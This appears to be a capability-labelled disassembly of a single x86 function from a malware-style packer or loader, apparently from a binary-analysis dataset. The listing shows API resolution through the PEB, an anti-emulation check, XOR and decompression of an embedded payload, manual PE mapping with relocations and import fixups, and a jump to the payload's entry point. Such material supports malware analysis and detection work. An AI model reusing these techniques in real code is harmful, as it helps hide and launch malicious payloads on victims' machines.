Function at 0x35111c
Capabilities:
Access peb ldr_data
Compress data via winapi
Get kernel32 base address
Parse pe header
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x270
push ebx
push esi
push edi
push eax
mov eax, dword fs:[0x30]
mov dword [ebp - 0x14], eax
pop eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, dword [eax]
mov ecx, dword [ecx + 0x18]
mov eax, dword [eax + 0x18]
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x20], eax
push ebx
mov ebx, 0x351111
mov dword [ebp - 0xc], ebx
sub dword [ebp - 0xc], 0x7a
pop ebx
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x270]
push eax
push 0
mov dword [ebp - 8], 1
call dword [sym.imp.mscms.dll_GetColorDirectoryW]
call dword [sym.imp.KERNEL32.dll_GetLastError]
add dword [ebp - 0xc], eax
mov dword [ebp - 4], eax
push 0
call dword [ebp - 0xc]
mov dword [ebp - 4], eax
cmp eax, 0x1c
jne 0x351180
je 0x35118f
mov ebx, dword [ebp - 0x18]
mov esi, 0x351020
lea edi, [ebp - 0x6c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea eax, [ebp - 0x6c]
push eax
mov edx, ebx
movsb byte es:[edi], byte [esi]
call fcn.0035108c
mov esi, 0x351030
lea edi, [ebp - 0x34]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop ecx
mov dword [ebp - 0x3c], eax
movsb byte es:[edi], byte [esi]
jmp 0x351292
lea ecx, [ebp - 0x18]
sub ecx, dword [ebp - 4]
push ecx
push ebx
call eax
mov esi, dword [ebp - 0x3c]
push 0x351040
push ebx
mov dword [ebp - 0x4c], eax
call esi
push 0x351050
push dword [ebp - 0x20]
mov dword [ebp - 0x1c], eax
call esi
push 0x351064
push ebx
mov dword [ebp - 0x18], eax
call esi
push 0x351074
push ebx
mov dword [ebp - 0x48], eax
call esi
cmp dword [ebp - 0x1c], 0
je 0x351da8
cmp dword [ebp - 0x18], 0
je 0x351da8
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ebx, dword [eax + 0x3c]
add ebx, eax
movzx ecx, word [ebx + 6]
imul ecx, ecx, 0x28
lea ecx, [ecx + ebx + 0xa8]
mov edx, dword [ecx + 0xc]
add edx, eax
add edx, dword [ebx + 0x3c]
mov dword [ebp - 0x5c], ecx
mov esi, dword [edx]
mov ecx, dword [ecx + 0xc]
add esi, eax
add ecx, eax
mov dword [ebp - 0x54], eax
mov eax, dword [ebx + 0x3c]
push 5
mov dword [ebp - 0x20], esi
lea esi, [ecx + eax + 8]
pop ecx
push 4
push 0x3000
mov dword [ebp - 0x38], edx
lea edi, [ebp - 0x70]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [edx + 4]
push 0x12
xor edx, edx
pop esi
mov eax, ecx
div esi
mov edx, ecx
shr edx, 4
imul edx, edx, 0x2b
imul eax, eax, 0x2d
add eax, ecx
lea eax, [edx + eax + 0x1000]
push eax
push 0
call dword [ebp - 0x1c]
mov dword [ebp - 0x40], eax
test eax, eax
je 0x351da8
mov esi, dword [ebp - 0x38]
mov eax, dword [esi + 4]
shr eax, 4
xor edi, edi
mov dword [ebp - 0x24], 0x2b
test eax, eax
je 0x3513c5
mov ecx, dword [ebp - 0x40]
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x14]
mov edx, edi
sub edx, ecx
add edx, dword [ebp - 0x20]
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x58], edx
mov dword [ebp - 0x50], 8
mov edx, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x58]
mov cl, byte [ecx + edx]
inc dword [ebp - 0x44]
dec dword [ebp - 0x50]
mov byte [edx], cl
jne 0x351396
mov ecx, dword [ebp - 0x24]
dec dword [ebp - 0x24]
lea edi, [edi + ecx + 8]
jne 0x3513bc
mov dword [ebp - 0x24], 0x2b
add dword [ebp - 0x14], 8
dec dword [ebp - 0x38]
jne 0x35137f
mov ecx, dword [esi + 4]
shr ecx, 1
and ecx, 7
je 0x3513e7
mov edx, dword [ebp - 0x40]
add edi, dword [ebp - 0x20]
lea eax, [edx + eax*8]
test ecx, ecx
je 0x3513e7
sub edi, eax
mov dl, byte [edi + eax]
mov byte [eax], dl
inc eax
dec ecx
jne 0x3513de
jmp 0x3514be
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax + 0xc]
add eax, dword [ebp - 0x54]
mov ecx, dword [ebx + 0x3c]
lea edi, [eax + ecx + 0x1c]
mov ecx, dword [esi + 4]
mov eax, ecx
and ecx, 1
shr eax, 1
add eax, ecx
push 9
pop ecx
xor edx, edx
div ecx
push 0
pop ecx
mov dword [ebp - 0x24], 0x2d
inc eax
je 0x351530
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x38], eax
mov eax, dword [esi + 4]
shr eax, 1
add eax, dword [ebp - 0x14]
lea edx, [ecx + edi]
add eax, dword [ebp - 0x40]
mov dword [ebp - 0x20], 9
mov bl, byte [edx]
mov byte [eax], bl
inc eax
inc edx
dec dword [ebp - 0x20]
jne 0x351509
mov eax, dword [ebp - 0x24]
dec dword [ebp - 0x24]
lea ecx, [ecx + eax + 9]
jne 0x351527
mov dword [ebp - 0x24], 0x2d
add dword [ebp - 0x14], 9
dec dword [ebp - 0x38]
jne 0x3514f4
mov eax, dword [esi + 4]
imul eax, eax, 0xf
push 4
push 0x3000
push eax
push 0
call dword [ebp - 0x1c]
mov edi, eax
test edi, edi
je 0x351da8
jmp 0x351624
xor ecx, ecx
xor edx, edx
cmp dword [esi + 4], ecx
jbe 0x351645
mov bl, byte [ebp + ecx - 0x70]
mov eax, dword [ebp - 0x40]
xor byte [eax + edx], bl
inc ecx
cmp ecx, 0x13
jbe 0x35163f
xor ecx, ecx
inc edx
cmp edx, dword [esi + 4]
jb 0x35162d
push eax
mov eax, dword [0x352000]
pop eax
mov esi, dword [esi + 4]
lea eax, [ebp - 0x10]
push eax
push esi
imul esi, esi, 0xf
push dword [ebp - 0x40]
push esi
push edi
push 2
call dword [ebp - 0x18]
jmp 0x351738
mov eax, 0x5a4d
cmp word [edi], ax
jne 0x351da8
mov ebx, dword [edi + 0x3c]
add ebx, edi
xor eax, eax
cmp dword [ebx], 0x4550
mov dword [ebp - 0x20], ebx
jne 0x351daa
cmp dword [ebx + 0xa0], eax
jne 0x351767
mov eax, dword [ebx + 0x34]
mov esi, 0x400000
cmp eax, esi
jne 0x35177f
lea eax, [ebp - 0x54]
push eax
push 0x40
push dword [ebx + 0x50]
push esi
call dword [ebp - 0x48]
jmp 0x35179b
mov ecx, dword [ebx + 0x50]
push 0x40
push 0x3000
add ecx, 0x10
push ecx
push eax
call dword [ebp - 0x1c]
mov esi, eax
test esi, esi
je 0x351da8
jmp 0x3517ac
jmp 0x3517b8
mov eax, dword [ebx + 0x54]
add eax, dword [edi + 0x3c]
push 0
pop ecx
je 0x3517ce
mov dl, byte [ecx + edi]
mov byte [ecx + esi], dl
inc ecx
cmp ecx, eax
jb 0x3517c3
and dword [ebp - 0x1c], 0
xor eax, eax
cmp ax, word [ebx + 6]
jae 0x351819
and dword [ebp - 0x14], eax
mov eax, dword [edi + 0x3c]
add eax, dword [ebp - 0x14]
lea eax, [eax + edi + 0xf8]
mov edx, dword [eax + 0x10]
mov ecx, dword [eax + 0xc]
mov eax, dword [eax + 0x14]
add ecx, esi
add eax, edi
test edx, edx
je 0x351809
mov dword [ebp - 0x18], edx
mov dl, byte [eax]
mov byte [ecx], dl
inc ecx
inc eax
dec dword [ebp - 0x18]
jne 0x3517fe
movzx eax, word [ebx + 6]
inc dword [ebp - 0x1c]
add dword [ebp - 0x14], 0x28
cmp dword [ebp - 0x1c], eax
jb 0x3517dd
jmp 0x3518f0
jmp 0x3519c7
mov eax, esi
sub eax, dword [ebx + 0x34]
mov dword [ebp - 0x48], eax
je 0x351a40
mov eax, dword [ebx + 0xa0]
test eax, eax
je 0x351a40
mov ebx, dword [ebx + 0xa4]
add eax, esi
add ebx, eax
jmp 0x351a36
mov ecx, dword [eax + 4]
and dword [ebp - 0x14], 0
sub ecx, 8
test ecx, 0xfffffffe
jbe 0x351a33
mov ecx, dword [ebp - 0x1c]
movzx ecx, word [ecx]
mov edx, ecx
and edx, 0xf000
mov edi, 0x3000
cmp dx, di
jne 0x351a1f
mov edx, dword [ebp - 0x48]
and ecx, 0xfff
add ecx, dword [eax]
add dword [ecx + esi], edx
mov ecx, dword [eax + 4]
inc dword [ebp - 0x14]
add dword [ebp - 0x1c], 2
sub ecx, 8
shr ecx, 1
cmp dword [ebp - 0x14], ecx
jb 0x3519f9
add eax, dword [eax + 4]
lea ecx, [eax + 8]
mov dword [ebp - 0x1c], ecx
cmp eax, ebx
jb 0x3519e7
jmp 0x351b17
jmp 0x351bee
mov ecx, dword [ebp - 0x20]
mov edi, dword [ecx + 0x80]
add edi, esi
cmp dword [edi], 0
je 0x351d73
mov eax, dword [edi + 0xc]
add eax, esi
push eax
call dword [ebp - 0x4c]
mov dword [ebp - 0x18], eax
test eax, eax
je 0x351da8
cmp dword [edi + 4], 0xffffffff
mov edx, dword [edi + 0x10]
mov dword [ebp - 0x14], edx
jne 0x351c51
mov ecx, dword [edi]
mov ecx, dword [ecx + esi]
lea ebx, [edx + esi]
test ecx, 0xf0000000
je 0x351c3a
and ecx, 0xffff
jmp 0x351c3f
add ecx, esi
add ecx, 2
push ecx
push eax
call dword [ebp - 0x3c]
cmp dword [ebx], eax
je 0x351d64
mov eax, dword [edi]
mov dword [ebp - 0x14], eax
jmp 0x351d28
mov ebx, dword [ebp - 0x14]
add ebx, esi
jmp 0x351d5f
mov eax, dword [ebx]
test eax, 0xf0000000
je 0x351d3f
and eax, 0xffff
jmp 0x351d44
add eax, esi
add eax, 2
push eax
push dword [ebp - 0x18]
call dword [ebp - 0x3c]
mov dword [ebx], eax
test eax, eax
je 0x351da8
mov eax, dword [edi + 0x10]
sub eax, dword [ebp - 0x14]
mov ecx, dword [ebx]
mov dword [eax + ebx], ecx
add ebx, 4
cmp dword [ebx], 0
jne 0x351d2f
add edi, 0x14
cmp dword [edi], 0
jne 0x351c02
mov ecx, dword [ebp - 0x20]
push eax
mov eax, dword fs:[0x30]
mov dword [ebp - 0x18], eax
pop eax
mov eax, dword [ebp - 0x18]
mov dword [eax + 8], esi
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov dword [eax + 0x18], esi
mov edx, dword [ecx + 0x28]
add edx, esi
mov dword [eax + 0x1c], edx
mov eax, dword [ecx + 0x28]
add eax, esi
mov dword [ebp - 0x4c], eax
call dword [ebp - 0x4c]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
xor eax, eax
pop edi
pop esi
inc eax
pop ebx
leave
ret 0x10